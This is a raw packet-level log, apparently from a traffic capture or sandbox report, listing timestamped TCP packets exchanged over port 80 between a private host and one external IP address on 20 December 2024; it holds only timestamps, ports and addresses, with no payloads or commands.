Dec 20, 2024 16:06:57.122442961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.122495890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.122612953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.122659922 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.123245001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.123289108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.123436928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.123485088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.124336004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.124387026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.124519110 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.124566078 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.125205040 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.125261068 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.187908888 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.187975883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.187985897 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.188018084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.188266039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.188280106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.188324928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.188338041 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.189158916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.189239025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.189992905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.190057039 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.190150976 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.190165043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.190202951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.191277027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.191356897 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.191643953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.191701889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.191973925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.192027092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.192092896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.192142963 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.192940950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.193007946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.193202019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.193252087 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.193905115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.193959951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.194173098 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.194221020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.194855928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.194910049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.195103884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.195153952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.195976019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.196091890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.196197987 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.196254015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.196914911 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.196971893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.197177887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.197228909 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.197901964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.197956085 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.198829889 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.198842049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.198887110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.198901892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.198973894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.199018002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.199922085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.199986935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.200206995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.200258970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.200726986 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.200781107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.201082945 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.201133013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.201752901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.201766968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.201807976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.202697992 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.202753067 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.203644037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.203659058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.203706026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.204219103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.204277992 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.204649925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.204663038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.204705954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.205914974 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.205926895 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.205987930 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.206724882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.206816912 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.206818104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.206861019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.207667112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.207679033 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.207735062 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.208734035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.208856106 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.209013939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.209072113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.209481955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.209494114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.209539890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.211039066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.211108923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.211426020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.211437941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.211489916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.211635113 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.211684942 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.212471008 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.212529898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.212639093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.212688923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.213376045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.213433027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.213553905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.213603973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.214287043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.214343071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.214432955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.214481115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.215234995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.215287924 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.215374947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.215420961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.216335058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.216375113 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.216384888 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.216417074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.217209101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.217286110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.217323065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.217365026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.218135118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.218189001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.218213081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.218255043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.219182968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.219238043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.219393015 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.219444036 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.220280886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.220341921 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.220377922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.220422029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.221163988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.221225023 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.221540928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.221591949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.222083092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.222145081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.222383022 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.222436905 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.223054886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.223109961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.223737001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.223799944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.224205017 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.224258900 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.224370003 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.224421978 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.225075960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.225135088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.225313902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.225367069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.226078987 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.226139069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.226213932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.226258993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.226927042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.226990938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.227123976 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.227174044 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.227946043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.227958918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.228029013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.228918076 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.228982925 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.229568005 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.229628086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.229841948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.229893923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.230295897 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.230344057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.230993032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.231045961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.231185913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.231235981 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.231869936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.231924057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.310604095 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.310674906 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.310774088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.310951948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.310983896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.311021090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.311021090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.311036110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.311948061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.312011003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.312057972 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.312108994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.312743902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.312827110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.312943935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.312988043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.313735008 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.313787937 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.313920021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.313966990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.314851046 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.314901114 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.314960003 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.315001965 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.315669060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.315694094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.315720081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.315737963 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.380388021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.380420923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.380434036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.380449057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.380562067 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.380605936 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.381274939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.381335974 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.381797075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.381851912 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.382234097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.382282019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.382410049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.382458925 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.383225918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.383274078 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.383371115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.383420944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.384208918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.384263039 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.384315968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.384361982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.385225058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.385276079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.385526896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.385575056 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.386138916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.386189938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.386385918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.386441946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.387264013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.387320995 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.387618065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.387670994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.388331890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.388401031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.389240980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.389297962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.389307976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.389311075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.389339924 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.389359951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.390072107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.390139103 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.390314102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.390368938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.391022921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.391109943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.391282082 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.391329050 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.391999006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.392051935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.392266035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.392318010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.392996073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.393049955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.393130064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.393176079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.393965960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.394021988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.394191027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.394239902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.394896030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.394949913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.395030975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.395080090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.395845890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.395900965 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.396123886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.396178007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.396812916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.396866083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.397855043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.397871017 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.397912979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.398101091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.398150921 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.398863077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.398876905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.398917913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.399708986 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.399761915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.400321960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.400376081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.400787115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.400844097 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.401066065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.401139975 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.401696920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.401748896 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.402097940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.402149916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.402826071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.402877092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.402915955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.402964115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.403625965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.403676987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.403853893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.403903961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.404580116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.404633045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.404794931 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.404844999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.405603886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.405662060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.405937910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.405988932 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.406578064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.406630993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.406761885 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.406817913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.407552004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.407623053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.407671928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.407717943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.408471107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.408533096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.408698082 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.408751011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.409578085 CET	80	49769	185.215.113.206	192.168.2.5
